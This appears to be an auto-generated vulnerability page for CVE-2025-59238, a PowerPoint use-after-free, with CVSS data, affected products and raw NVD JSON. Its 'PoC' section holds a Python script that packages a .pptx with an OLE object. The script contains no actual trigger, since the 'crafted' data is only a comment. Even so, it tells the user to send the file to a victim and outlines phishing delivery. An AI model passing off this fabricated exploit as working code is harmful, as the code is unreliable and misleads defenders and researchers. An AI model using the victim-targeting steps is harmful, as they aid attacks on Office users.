Security Vulnerability Report
中文
CVE-2025-59238 CVSS 7.8 HIGH

CVE-2025-59238

Published: 2025-10-14 17:16:06
Last Modified: 2025-10-16 20:52:09

Description

Use after free in Microsoft Office PowerPoint allows an unauthorized attacker to execute code locally.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x64:* - VULNERABLE
cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x86:* - VULNERABLE
cpe:2.3:a:microsoft:office:2019:*:*:*:*:*:x64:* - VULNERABLE
cpe:2.3:a:microsoft:office:2019:*:*:*:*:*:x86:* - VULNERABLE
cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:-:x64:* - VULNERABLE
Microsoft Office PowerPoint 2016 及更早版本(需确认具体补丁范围)
Microsoft Office PowerPoint 2019(需确认具体补丁范围)
Microsoft Office LTSC Standard 2021(需确认具体补丁范围)
Microsoft Office LTSC Professional Plus 2021(需确认具体补丁范围)
Microsoft 365 Apps for Enterprise(需确认具体补丁范围)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-59238 PoC - Conceptual Exploit for PowerPoint Use After Free # NOTE: This is a conceptual/educational PoC. Actual exploit code requires # deep reverse engineering of the vulnerable PowerPoint component. # # Vulnerability: Use After Free in Microsoft Office PowerPoint # CVSS: 7.8 (HIGH) # Attack Vector: Local, requires user interaction # # The exploit typically involves crafting a malicious .pptx file that triggers # a use-after-free condition when PowerPoint parses specific embedded objects. import struct import zipfile import os import shutil def create_malicious_pptx(output_path): """ Create a malicious PowerPoint file that may trigger CVE-2025-59238. This is a conceptual implementation demonstrating the attack vector. """ # Create a minimal PPTX structure with a crafted embedded object # PPTX files are essentially ZIP archives containing XML files tmp_dir = "/tmp/malicious_pptx" if os.path.exists(tmp_dir): shutil.rmtree(tmp_dir) os.makedirs(tmp_dir) # Content_Types.xml - minimal valid content types content_types = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"> <Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/> <Default Extension="xml" ContentType="application/xml"/> <Override PartName="/ppt/presentation.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.presentation.main+xml"/> <Override PartName="/ppt/slides/slide1.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slide+xml"/> </Types>''' # Crafted slide with embedded OLE object designed to trigger UAF slide_xml = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <p:sld xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:p="http://schemas.openxmlformats.org/presentationml/2006/main"> <p:cSld> <p:spTree> <p:nvGrpSpPr> <p:cNvPr id="1" name=""/> <p:cNvGrpSpPr/> <p:nvPr/> </p:nvGrpSpPr> <p:grpSpPr/> <p:graphicFrame> <p:nvGraphicFramePr> <p:cNvPr id="2" name="OLE Object"/> <p:cNvGraphicFramePr/> <p:nvPr/> </p:nvGraphicFramePr> <p:xfrm> <a:off x="0" y="0"/> <a:ext cx="9144000" cy="6858000"/> </p:xfrm> <a:graphic> <a:graphicData uri="http://schemas.openxmlformats.org/presentationml/2006/ole"> <p:oleObj spid="_x0000_s1026" name="ShockwaveFlash.ShockwaveFlash"> <!-- Crafted OLE data to trigger use-after-free --> <p:objectPr/> </p:oleObj> </a:graphicData> </a:graphic> </p:graphicFrame> </p:spTree> </p:cSld> </p:sld>''' # Write files os.makedirs(os.path.join(tmp_dir, "_rels")) os.makedirs(os.path.join(tmp_dir, "ppt", "slides")) os.makedirs(os.path.join(tmp_dir, "ppt", "_rels")) with open(os.path.join(tmp_dir, "[Content_Types].xml"), "w") as f: f.write(content_types) with open(os.path.join(tmp_dir, "ppt", "slides", "slide1.xml"), "w") as f: f.write(slide_xml) # Package as PPTX (ZIP) with zipfile.ZipFile(output_path, 'w', zipfile.ZIP_DEFLATED) as zf: for root, dirs, files in os.walk(tmp_dir): for file in files: file_path = os.path.join(root, file) arcname = os.path.relpath(file_path, tmp_dir) zf.write(file_path, arcname) print(f"[*] Malicious PPTX created: {output_path}") print(f"[*] Send this file to the victim and wait for them to open it.") if __name__ == "__main__": create_malicious_pptx("CVE-2025-59238_poc.pptx") # --- Attack Flow --- # 1. Attacker crafts malicious .pptx file (as shown above) # 2. Attacker sends file via phishing email or other social engineering # 3. Victim opens the file in Microsoft PowerPoint # 4. PowerPoint parses the embedded OLE object, triggering UAF # 5. Attacker code executes in the context of the PowerPoint process # 6. Attacker gains code execution on victim's machine

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-59238", "sourceIdentifier": "[email protected]", "published": "2025-10-14T17:16:05.800", "lastModified": "2025-10-16T20:52:08.697", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in Microsoft Office PowerPoint allows an unauthorized attacker to execute code locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x64:*", "matchCriteriaId": "3259EBFE-AE2D-48B8-BE9A-E22BBDB31378"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x86:*", "matchCriteriaId": "CD25F492-9272-4836-832C-8439EBE64CCF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office:2019:*:*:*:*:*:x64:*", "matchCriteriaId": "CF5DDD09-902E-4881-98D0-CB896333B4AA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office:2019:*:*:*:*:*:x86:*", "matchCriteriaId": "26A3B226-5D7C-4556-9350-5222DC8EFC2C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:-:x64:*", "matchCriteriaId": "851BAC4E-9965-4F40-9A6C-B73D9004F4C1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:-:x86:*", "matchCriteriaId": "23B2FA23-76F4-4D83-A718-B8D04D7EA37B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:-:x64:*", "matchCriteriaId": "D31E509A-0B2E-4B41-88C4-0099E800AFE6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:-:x86:*", "matchCriteriaId": "017A7041-BEF1-4E4E-AC8A-EFC6AFEB01FE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:powerpoint:2016:*:*:*:*:*:*:*", "matchCriteriaId": "C971A8FC-3897-496D-BB9A-9E6C8A03AEA1"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59238", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}